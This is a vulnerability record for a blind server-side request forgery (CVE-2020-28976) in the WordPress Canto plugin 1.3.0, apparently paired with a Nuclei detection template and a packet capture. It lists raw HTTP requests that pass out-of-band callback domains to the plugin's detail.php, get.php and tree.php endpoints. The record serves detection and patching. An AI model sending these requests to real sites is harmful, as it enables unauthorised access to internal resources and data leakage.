| Title | WordPress Canto 1.3.0 - Blind Server-Side Request Forgery |
|---|---|
| Author | LogicalHunter |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage. |
| Remediation | Update WordPress Canto to the latest version (1.3.1) or apply the patch provided by the vendor. |
| CVSS Score | 5.3 |
| EPSS Score | 0.2575 |
| CVE ID | CVE-2020-28976 |
| CWE ID | CWE-918 |
| Tags | cve2020 cve packetstorm ssrf wordpress wp-plugin oast edb canto vuln |
WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /wp-content/plugins/canto/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/4.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/canto/includes/lib/detail.php?subdomain=d5josd1le0o1ko5ckr3gbpbkxgsqkay1j.oast.pro HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/canto/includes/lib/get.php?subdomain=d5josd1le0o1ko5ckr3gxfmwpjgmncm56.oast.pro HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/canto/includes/lib/tree.php?subdomain=d5josd1le0o1ko5ckr3gj9kozkrckrrxx.oast.pro HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/537.86.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-28976.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-28976.pcap
N/AN/A